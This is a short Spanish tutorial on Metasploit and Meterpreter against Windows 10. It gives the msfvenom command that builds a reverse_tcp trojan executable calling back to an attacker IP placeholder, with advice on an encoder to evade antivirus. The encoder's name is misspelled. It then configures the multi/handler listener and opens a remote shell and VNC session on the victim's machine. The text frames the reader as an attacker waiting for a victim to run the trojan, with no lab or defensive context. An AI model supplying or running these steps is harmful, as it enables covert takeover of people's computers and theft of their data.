Pablo Hernández Cepeda

Metasploit + Meterpreter, Windows 10

Antes de empezar a realizar cualquier ataque en Metasploit, siempre se deben de tener en cuenta los pasos básicos para hacerlo. El siguiente es un extracto tomado de https://en.wikipedia.org/wiki/Metasploit\_Project, el cual ilustra perfectamente los pasos a seguir:

"Los pasos básicos para explotar un sistema utilizando Metasploit Framework son:

1.- Se selecciona y configura un exploit de los casi 2000 disponibles

2.- Se verifica que el sistema víctima sea vulnerable a ese exploit

3.- Se escoge y configura un payload (código a ejecutar una vez que se acceda al sistema víctima)

4.- Se selecciona la técnica de cifrado para evadir posibles anti-virus/sistemas de detección de intrusos

5.- Se ejecuta el exploit"

Primeramente, debemos abrir una terminal y crear el "payload" (código que se ejecutará en el ataque) e indicar sus características. Ejecuta el siguiente comando:

# msfvenom -p windows/meterpreter/reverse\_tcp --platform windows -a x86 -f exe LHOST=“{IP\_ATACANTE}” LPORT=444 -o /root/Desktop/trojan.exe

El código anterior usa la utilidad msfvenom para crear un troyano de Meterpreter que utiliza un ataque reverse\_tcp para los sistemas windows con arquitectura x86. A su vez, el archivo será de formato exe, se guardará en la dirección root/Desktop/ y su nombre será trojan.exe. Finalmente, LHOST y LPORT simbolizan la dirección IP y el puerto que recibirán los datos de la víctima (es decir, estos parámetros deben ser del atacante).

NOTA: Si se quisiera añadir un encoder a la línea anterior, se utilizaría la opción -e en conjunto con -i (# de iteraciones con las que se codifica la información). Un ejemplo de un buen encoder (con 5 iteraciones), aunque detectable por varios antivirus de hoy en día es "-e x86/shitaka\_ga\_nai -i 5"

Abrir la consola de metasploit framework

# msfconsole

Dentro de la msfconsole, usar el handler

msf> use multi/handler

Configurar payload

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse\_tcp

Configurar puerto

msf exploit(handler) > set LPORT 444

Configurar dirección IP

msf exploit(handler) > set LHOST “{IP\_ATACANTE}”

Comenzar a escuchar

msf exploit(handler) > exploit

En este punto, el atacante espera a que la víctima ejecute el troyano. Una vez que esto suceda, se realizará una conexión desde la computadora de la víctima con la del atacante, y se abrirá una sesión de Meterpreter. Al ocurrir esto, algo similar al siguiente texto se mostrará en pantalla:

[\*] Started reverse handler on 192.168.1.104:444

[\*] Starting the payload handler…

[\*] Sending stage (83170 bytes) to 192.168.1.105

[\*] Meterpreter session 1 opened (192.168.1.104:444 -> 192.168.1.105:36028) at 2017-05-06 03:20:45 -0500

Una vez dentro de Meterpreter, se puede utilizar el comando "help" para ver todos los comandos posibles

meterpreter > help

Para abrir una terminal que interactúe con la computadora de la víctima, utilizar el comando "shell"

meterpreter > shell

Para abrir una sesión VNC, utilizar el comando "run vnc"

meterpreter > run vnc